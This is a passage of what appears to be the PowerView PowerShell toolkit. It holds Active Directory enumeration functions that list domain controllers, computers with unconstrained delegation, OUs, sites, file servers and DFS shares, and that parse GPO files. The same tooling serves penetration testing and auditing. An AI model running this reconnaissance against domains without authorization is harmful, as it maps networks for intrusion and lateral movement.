[Parameter(ValueFromPipeline=$True)] + [String] + $Forest, + + [Management.Automation.PSCredential] + $Credential + ) + + $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential + + if($ForestObject) { + $ForestObject.Domains + } +} + + +filter Get-NetDomainController { +<# + .SYNOPSIS + + Return the current domain controllers for the active domain. + + .PARAMETER Domain + + The domain to query for domain controllers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to determine the domain controllers. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetDomainController -Domain 'test.local' + + Determine the domain controllers for 'test.local'. + + .EXAMPLE + + PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP + + Determine the domain controllers for 'test.local' using LDAP queries. + + .EXAMPLE + + PS C:\> 'test.local' | Get-NetDomainController + + Determine the domain controllers for 'test.local'. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $LDAP, + + [Management.Automation.PSCredential] + $Credential + ) + + if($LDAP -or $DomainController) { + # filter string to return all domain controllers + Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + else { + $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential + if($FoundDomain) { + $Founddomain.DomainControllers + } + } +} + + +######################################################## +# +# "net *" replacements and other fun start below +# +######################################################## + + +function Get-NetComputer { +<# + .SYNOPSIS + + This function utilizes adsisearcher to query the current AD context + for current computer objects. Based off of Carlos Perez's Audit.psm1 + script in Posh-SecMod (link below). + + .PARAMETER ComputerName + + Return computers with a specific name, wildcards accepted. + + .PARAMETER SPN + + Return computers with a specific service principal name, wildcards accepted. + + .PARAMETER OperatingSystem + + Return computers with a specific operating system, wildcards accepted. + + .PARAMETER ServicePack + + Return computers with a specific service pack, wildcards accepted. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Printers + + Switch. Return only printers. + + .PARAMETER Ping + + Switch. Ping each host to ensure it's up before enumerating. + + .PARAMETER FullData + + Switch. Return full computer objects instead of just system names (the default). + + .PARAMETER Domain + + The domain to query for computers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER SiteName + + The AD Site name to search for computers. + + .PARAMETER Unconstrained + + Switch. Return computer objects that have unconstrained delegation. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetComputer + + Returns the current computers in current domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -SPN mssql* + + Returns all MS SQL servers on the domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -Domain testing + + Returns the current computers in 'testing' domain. + + .EXAMPLE + + PS C:\> Get-NetComputer -Domain testing -FullData + + Returns full computer objects in the 'testing' domain. + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '*', + + [String] + $SPN, + + [String] + $OperatingSystem, + + [String] + $ServicePack, + + [String] + $Filter, + + [Switch] + $Printers, + + [Switch] + $Ping, + + [Switch] + $FullData, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $SiteName, + + [Switch] + $Unconstrained, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + begin { + # so this isn't repeated if multiple computer names are passed on the pipeline + $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential + } + + process { + + if ($CompSearcher) { + + # if we're checking for unconstrained delegation + if($Unconstrained) { + Write-Verbose "Searching for computers with for unconstrained delegation" + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" + } + # set the filters for the seracher if it exists + if($Printers) { + Write-Verbose "Searching for printers" + # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)" + $Filter += "(objectCategory=printQueue)" + } + if($SPN) { + Write-Verbose "Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" + } + if($OperatingSystem) { + $Filter += "(operatingsystem=$OperatingSystem)" + } + if($ServicePack) { + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + if($SiteName) { + $Filter += "(serverreferencebl=$SiteName)" + } + + $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" + Write-Verbose "Get-NetComputer filter : $CompFilter" + $CompSearcher.filter = $CompFilter + if(-not $FullData) { + $Null = $CompSearcher.PropertiesToLoad.Add('dnshostname') + } + + try { + ForEach($ComputerResult in $CompSearcher.FindAll()) { + if($ComputerResult) { + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerResult.properties.dnshostname + } + if($Up) { + # return full data objects + if ($FullData) { + # convert/process the LDAP fields for each result + $Computer = Convert-LDAPProperty -Properties $ComputerResult.Properties + $Computer.PSObject.TypeNames.Add('PowerView.Computer') + $Computer + } + else { + # otherwise we're just returning the DNS host name + $ComputerResult.properties.dnshostname + } + } + } + } + + $CompSearcher.dispose() + } + catch { + Write-Warning "Error: $_" + } + } + } +} + + +function Get-ADObject { +<# + .SYNOPSIS + + Takes a domain SID and returns the user, group, or computer object + associated with it. + + .PARAMETER SID + + The SID of the domain object you're querying for. + + .PARAMETER Name + + The Name of the domain object you're querying for. + + .PARAMETER SamAccountName + + The SamAccountName of the domain object you're querying for. + + .PARAMETER Domain + + The domain to query for objects, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Filter + + Additional LDAP filter string for the query. + + .PARAMETER ReturnRaw + + Switch. Return the raw object instead of translating its properties. + Used by Set-ADObject to modify object properties. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" + + Get the domain object associated with the specified SID. + + .EXAMPLE + + PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local" + + Get the AdminSDHolder object for the testlab.local domain. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SID, + + [String] + $Name, + + [String] + $SamAccountName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $Filter, + + [Switch] + $ReturnRaw, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + process { + if($SID -and (-not $Domain)) { + # if a SID is passed, try to resolve it to a reachable domain name for the searcher + try { + $Name = Convert-SidToName $SID + if($Name) { + $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical + if($Canonical) { + $Domain = $Canonical.split("/")[0] + } + else { + Write-Verbose "Error resolving SID '$SID'" + return $Null + } + } + } + catch { + Write-Verbose "Error resolving SID '$SID' : $_" + return $Null + } + } + + $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + + if($ObjectSearcher) { + if($SID) { + $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" + } + elseif($Name) { + $ObjectSearcher.filter = "(&(name=$Name)$Filter)" + } + elseif($SamAccountName) { + $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" + } + + try { + $Results = $ObjectSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if($ReturnRaw) { + $_ + } + else { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + $Results.dispose() + } + catch { + Write-Verbose "Error building the searcher object!" + } + $ObjectSearcher.dispose() + } + } +} + + +function Get-NetOU { +<# + .SYNOPSIS + + Gets a list of all current OUs in a domain. + + .PARAMETER OUName + + The OU name to query for, wildcards accepted. + + .PARAMETER GUID + + Only return OUs with the specified GUID in their gplink property. + + .PARAMETER Domain + + The domain to query for OUs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through. + + .PARAMETER FullData + + Switch. Return full OU objects instead of just object names (the default). + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetOU + + Returns the current OUs in the domain. + + .EXAMPLE + + PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local + + Returns all OUs with "admin" in their name in the testlab.local domain. + + .EXAMPLE + + PS C:\> Get-NetOU -GUID 123-... + + Returns all OUs with linked to the specified group policy object. + + .EXAMPLE + + PS C:\> "*admin*","*server*" | Get-NetOU + + Get the full OU names for the given search terms piped on the pipeline. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $OUName = '*', + + [String] + $GUID, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $FullData, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + begin { + $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + } + process { + if ($OUSearcher) { + if ($GUID) { + # if we're filtering for a GUID in .gplink + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))" + } + else { + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" + } + + try { + $Results = $OUSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + $OU = Convert-LDAPProperty -Properties $_.Properties + $OU.PSObject.TypeNames.Add('PowerView.OU') + $OU + } + else { + # otherwise just returning the ADS paths of the OUs + $_.properties.adspath + } + } + $Results.dispose() + $OUSearcher.dispose() + } + catch { + Write-Warning $_ + } + } + } +} + + +function Get-NetSite { +<# + .SYNOPSIS + + Gets a list of all current sites in a domain. + + .PARAMETER SiteName + + Site filter string, wildcards accepted. + + .PARAMETER Domain + + The domain to query for sites, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through. + + .PARAMETER GUID + + Only return site with the specified GUID in their gplink property. + + .PARAMETER FullData + + Switch. Return full site objects instead of just object names (the default). + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetSite -Domain testlab.local -FullData + + Returns the full data objects for all sites in testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SiteName = "*", + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $GUID, + + [Switch] + $FullData, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + begin { + $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize + } + process { + if($SiteSearcher) { + + if ($GUID) { + # if we're filtering for a GUID in .gplink + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))" + } + else { + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))" + } + + try { + $Results = $SiteSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + $Site = Convert-LDAPProperty -Properties $_.Properties + $Site.PSObject.TypeNames.Add('PowerView.Site') + $Site + } + else { + # otherwise just return the site name + $_.properties.name + } + } + $Results.dispose() + $SiteSearcher.dispose() + } + catch { + Write-Verbose $_ + } + } + } +} + + +function Get-DomainSID { +<# + .SYNOPSIS + + Gets the SID for the domain. + + .PARAMETER Domain + + The domain to query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .EXAMPLE + + C:\> Get-DomainSID -Domain TEST + + Returns SID for the domain 'TEST' +#> + + param( + [String] + $Domain, + + [String] + $DomainController + ) + + $ComputerSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController + $ComputerSearcher.Filter = '(sAMAccountType=805306369)' + $Null = $ComputerSearcher.PropertiesToLoad.Add('objectsid') + $Result = $ComputerSearcher.FindOne() + + if(-not $Result) { + Write-Verbose "Get-DomainSID: no results retrieved" + } + else { + $DCObject = Convert-LDAPProperty -Properties $Result.Properties + $DCSID = $DCObject.objectsid + $DCSID.Substring(0, $DCSID.LastIndexOf('-')) + } +} + + +function Get-NetFileServer { +<# + .SYNOPSIS + + Returns a list of all file servers extracted from user + homedirectory, scriptpath, and profilepath fields. + + .PARAMETER Domain + + The domain to query for user file servers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetFileServer + + Returns active file servers. + + .EXAMPLE + + PS C:\> Get-NetFileServer -Domain testing + + Returns active file servers for the 'testing' domain. +#> + + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + function Split-Path { + # short internal helper to split UNC server paths + param([String]$Path) + + if ($Path -and ($Path.split("\\").Count -ge 3)) { + $Temp = $Path.split("\\")[2] + if($Temp -and ($Temp -ne '')) { + $Temp + } + } + } + + $UserSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + + # only search for user objects that have one of the fields we're interested in set + $UserSearcher.filter = "(&(samAccountType=805306368)(|(homedirectory=*)(scriptpath=*)(profilepath=*)))" + + # only return the fields we're interested in + $UserSearcher.PropertiesToLoad.AddRange(('homedirectory', 'scriptpath', 'profilepath')) + + # get all results w/o the pipeline and uniquify them (I know it's not pretty) + Sort-Object -Unique -InputObject $(ForEach($UserResult in $UserSearcher.FindAll()) {if($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) +} + + +function Get-DFSshare { +<# + .SYNOPSIS + + Returns a list of all fault-tolerant distributed file + systems for a given domain. + + .PARAMETER Version + + The version of DFS to query for servers. + 1/v1, 2/v2, or all + + .PARAMETER Domain + + The domain to query for user DFS shares, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-DFSshare + + Returns all distributed file system shares for the current domain. + + .EXAMPLE + + PS C:\> Get-DFSshare -Domain test + + Returns all distributed file system shares for the 'test' domain. +#> + + [CmdletBinding()] + param( + [String] + [ValidateSet("All","V1","1","V2","2")] + $Version = "All", + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + function Parse-Pkt { + [CmdletBinding()] + param( + [byte[]] + $Pkt + ) + + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) + + $state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) + + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) + } + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + $state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $null + $blob_name = $null + $target_list = $null + } + + $servers = @() + $object_list | ForEach-Object { + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split("\")[2] + } + } + } + + $servers + } + + function Get-DFSshareV1 { + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=fTDfs))" + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt + + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]} + } + } + catch { + Write-Verbose "Error in parsing DFS share : $_" + } + } + } + $Results.dispose() + $DFSSearcher.dispose() + + if($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will + # have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we + # do actually want to match on "null" rather than + # $null + if ($_ -ne "null") { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } + } + } + catch { + Write-Warning "Get-DFSshareV1 error : $_" + } + $DFSshares | Sort-Object -Property "RemoteServerName" + } + } + + function Get-DFSshareV2 { + [CmdletBinding()] + param( + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + + if($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))" + $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + $DFSroot = $Target.split("\")[3] + $ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]} + } + } + catch { + Write-Verbose "Error in parsing target : $_" + } + } + } + $Results.dispose() + $DFSSearcher.dispose() + } + catch { + Write-Warning "Get-DFSshareV2 error : $_" + } + $DFSshares | Sort-Object -Unique -Property "RemoteServerName" + } + } + + $DFSshares = @() + + if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { + $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + } + if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { + $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + } + + $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique +} + + +######################################################## +# +# GPO related functions. +# +######################################################## + +function Get-GptTmpl { +<# + .SYNOPSIS + + Helper to parse a GptTmpl.inf policy file path into a custom object. + + .PARAMETER GptTmplPath + + The GptTmpl.inf file path name to parse. + + .PARAMETER UsePSDrive + + Switch. Mount the target GptTmpl folder path as a temporary PSDrive. + + .EXAMPLE + + PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + Parse the default domain policy .inf for dev.testlab.local +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GptTmplPath, + + [Switch] + $UsePSDrive + ) + + begin { + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GptTmplPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Verbose "Error mounting path $GptTmplPath : $_" + return $Null + } + + # so we can cd/dir the new drive + $TargetGptTmplPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGptTmplPath = $GptTmplPath + } + } + + process { + try { + Write-Verbose "Attempting to parse GptTmpl: $TargetGptTmplPath" + $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue + } + catch { + # Write-Verbose "Error parsing $TargetGptTmplPath : $_" + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force + } + } +} + + +function Get-GroupsXML { +<# + .SYNOPSIS + + Helper to parse a groups.xml file path into a custom object. + + .PARAMETER GroupsXMLpath + + The groups.xml file path name to parse. + + .PARAMETER UsePSDrive + + Switch. Mount the target groups.xml folder path as a temporary PSDrive. +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $GroupsXMLPath, + + [Switch] + $UsePSDrive + ) + + begin { + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $GroupsXMLPath.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + 